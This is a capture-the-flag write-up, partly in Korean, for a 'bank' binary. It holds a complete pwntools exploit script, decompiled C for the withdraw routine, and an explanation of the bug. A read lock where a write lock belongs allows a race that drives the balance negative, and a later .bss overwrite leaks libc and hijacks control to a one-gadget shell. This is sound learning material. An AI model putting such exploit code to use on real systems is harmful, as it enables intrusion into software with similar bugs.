from pwn import *
r=process('./bank')
def rr():
r.recvuntil('-->')
def buy():
rr()
r.sendline('5')
rr()
r.sendline('1')
def deposit(money):
rr()
r.sendline('3')
rr()
r.sendline('1') #white
rr()
r.sendline(str(money))
def withdraw(wb,money):
rr()
r.sendline('4')
rr()
r.sendline(str(wb))#white
rr()
r.sendline(str(money))
def transfer(money):
rr()
r.sendline('2')
rr()
r.sendline('1') #w->b
rr()
r.sendline(str(money))
def changename(ind,name):
rr()
r.sendline('6')
rr()
r.sendline(str(ind))
rr()
r.sendline(name)
deposit(800)
for _ in xrange(3):
transfer(0)
for i in range(3):
withdraw(1,800)
time.sleep(3)
for i in range(16):
buy()
time.sleep(2)
buy()
strtoull=0x000000000602FA0
changename(16,p64(strtoull)+p64(0xDE0B6B3A763FFFF+2))
withdraw(1,1000000000000000000)
rr()
r.sendline('1')
r.recvuntil('Account Number : ')
leak=u64(r.recv(6).ljust(8,'\x00'))
libc_base=leak-0x3b3f0
r.success(hex(leak))
r.success(hex(libc_base))
buy()
changename(17,p64(libc_base+0x3c67a8))
rr()
r.sendline('5')
rr()
r.sendline('\xff')
rr()
r.sendline('22')
rr()
r.sendline(p64(libc_base+0xf1117))
rr()
r.sendline('7')
r.interactive()
aa
int __fastcall withdraw_white_40121D(void *a1)
{
sigset_t set; // [rsp+20h] [rbp-120h]@1
__int64 (__fastcall *v3)(); // [rsp+A0h] [rbp-A0h]@1
sigemptyset(&set);
sigaddset(&set, 10);
v3 = sub_400CC6;
sigaction(10, (const struct sigaction *)&v3, 0LL);
pthread_rwlock_rdlock(&rwlock);
if ( white_accountnum_bal_603220->balance_8 >= (unsigned __int64)a1 && white_accountnum_bal_603220->status10 != 1LL )
{
usleep(0x7A120u);
pthread_rwlock_wrlock(&stru_6030C0);
white_accountnum_bal_603220->balance_8 -= a1;
cash_603020 += (__int64)a1;
pthread_rwlock_unlock(&stru_6030C0);
}
return pthread_rwlock_unlock(&rwlock);
}
빨간부분이 wrlock이어야 하는데 rdlock으로 걸려있음
rdlock은 기존에 rdlock이 걸려잇어도 접근이 가능
즉
조건문을 race condition으로 통과가능
먼저 writelock(락이 걸려있기만 하면 일단 접근이 불가능하며 블록됨)을 걸어놓고
대기상태로 만든다음
withdraw메뉴를 마구 돌려주면 이 메뉴들이 대기에 들어가서 write lock이 풀릴때 racecondition이 걸리면서 계좌에 돈이 없어도 cash로 변환이가능 그리고 계좌에 돈이 -가 될경우 signed기 때문에 돈이 마구마구 생겨버린다.
이를 이용해서 아이템을 많이 사면 bss에 white black account 부분을 덮을 수 가 있는데 이를 이용해서 릭을하고 오버라이트가 가능하다